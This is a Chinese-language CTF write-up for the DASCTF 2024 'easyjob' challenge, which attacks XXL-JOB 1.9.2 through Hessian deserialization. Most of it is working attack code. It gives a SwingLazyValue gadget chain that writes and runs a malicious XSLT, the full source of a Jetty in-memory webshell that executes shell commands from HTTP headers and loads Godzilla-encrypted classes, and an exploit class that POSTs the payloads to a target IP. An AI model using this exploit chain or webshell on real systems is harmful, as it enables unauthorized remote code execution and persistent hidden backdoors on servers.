DASCTF 2024暑期挑战赛 easyjob
下载附件没有什么特别的,不过很明显是xxl-job的应用,而且是1.9.2版本的
我们去搜索文章https://xz.aliyun.com/t/13899
猜测有两个可能
一个是打api,一个打executor未授权
首先打api的话可以参考https://www.cnblogs.com/ph4nt0mer/p/13913252.html
简单来说就是访问到api后调用invoke方法
private RpcResponse doInvoke(HttpServletRequest request) {
try {
// deserialize request
byte[] requestBytes = HttpClientUtil.readBytes(request);
if (requestBytes == null || requestBytes.length==0) {
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("RpcRequest byte[] is null");
return rpcResponse;
}
RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);
// invoke
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
return rpcResponse;
} catch (Exception e) {
logger.error(e.getMessage(), e);
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("Server-error:" + e.getMessage());
return rpcResponse;
}
}
我们可以看到就是把body Hessian反序列化
所以目标又变成打hessian反序列化了,看了看题目的依赖,第一肯定是打jndi注入咯,但是不行,题目不出网,转手打内存马,打内存马首先利用Rome+temp的组合,但是发现没有rome依赖,我们选择使用heesian原生的链子来打
现在目前已知的触发的有两种方法,第一就是异常触发tostring,然后还有就是通过put方法作为参数,触发的hashcode等
然后原生反序列化的话可以打这个
PKCS9Attributes#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
createValue可以触发任意类的任意静态方法
我们这里因为要打内存马,有三种选择
静态方法而且可以加载类的话有我们的JavaWrapper._mian方法
可以加载bcel字节,但是打内存马还是太麻烦了,bcel打内存马的话需要全反射
这里利用的就是XSLT,因为com.sun.org.apache.xalan.internal.xslt.Process的_main方法
可以去解析我们的xslt文件
至于这个文件就不管了
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/>
<xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
<xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/>
<xsl:value-of select="$rce"/>
</xsl:template>
</xsl:stylesheet>
可以加载恶意类
然后还需要一个写这个文件的paylaod,还是一样的paylaod,不过是使用com.sun.org.apache.xml.internal.security.utils.JavaUtils", “writeBytesToFilename”
就是把字节写到文件中
最后的一把梭哈的paylaod,是参考https://blog.csdn.net/Err0r233/article/details/140818646师傅的
对了还没有说打什么内存马呢,因为是jetty框架的,打jetty内存马
package com.xxl.job.core;
import org.eclipse.jetty.server.*;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import sun.misc.Unsafe;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Scanner;
//author:Boogipop
public class JettyGodzillaMemshell extends AbstractHandler {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "username";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public JettyGodzillaMemshell() {
System.out.println(1);
}
public JettyGodzillaMemshell(int s) {
System.out.println(2);
}
static {
try {
HttpConnection valueField = getValueField();
HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();
Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");
mutableWhenRunning.setAccessible(true);
mutableWhenRunning.set(handler,true);
// handler.addHandler(new JettyHandlerMemshell(1));
Handler[] handlers = handler.getHandlers();
Handler[] newHandlers=new Handler[handlers.length+1];
newHandlers[0]=new JettyGodzillaMemshell(1);
for (int i = 0; i < handlers.length; i++) {
newHandlers[i + 1] = handlers[i];
}
handler.setHandlers(newHandlers);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}
private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for(int i=0;i<threads.length;i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for(int j=0;j<table.length;j++){
try {
//HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
//PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
//writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
//writer.flush();
Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
return (HttpConnection)value;
}
}
catch (Exception e){
}
}
} catch (Exception e) {
}
}
return null;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
try {
if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
base.setHandled(true);
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(result.getBytes());
outputStream.flush();
}
}
else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
base.setHandled(true);
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(md5.substring(0, 16).getBytes());
f.toString();
outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
outputStream.write(md5.substring(16).getBytes());
outputStream.flush();
return ;
}
}
} catch (Exception e) {
}
}
}
paylaod
有个细节就是一般我们打反序列化,题目都是base64去输入,但是这次是直接输入字节码,这样就会很麻烦了,就需要自己写一个post的逻辑了
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type
// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}
// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}
综合就是
package com.Err0r233;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class exp {
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type
// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}
// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}
public static void step1() throws Exception{
UIDefaults uiDefaults = new UIDefaults();
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
" xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
" xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('classname',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>";
String base64Code = "内存马的base64编码";
String xslt = xsltTemplate.replace("base64", base64Code);
xslt = xslt.replace("classname", "com.Err0r233.JettyGodzillaMemshell");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt",xslt.getBytes()});
uiDefaults.put("aaa", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
SetValue(mimeTypeParameterList, "parameters", uiDefaults);
byte[] data = ser(mimeTypeParameterList);
System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
}
public static void step2() throws Exception{
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}});
uiDefaults.put("aaa", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
SetValue(mimeTypeParameterList, "parameters", uiDefaults);
byte[] data = ser(mimeTypeParameterList);
System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
}
public static void main(String[] args) throws Exception {
step1();
step2();
}
public static void SetValue(Object obj, String name, Object value) throws Exception{
Class clz = obj.getClass();
Field field = clz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] ser(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
//允许反序列化NonSerializable
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
//触发expect:
baos.write(67);
hessian2Output.writeObject(obj);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
}
这个是正常的,不管他,直接继续打就好了
在header输入
x-fuck-data: cmd
cmd: whoami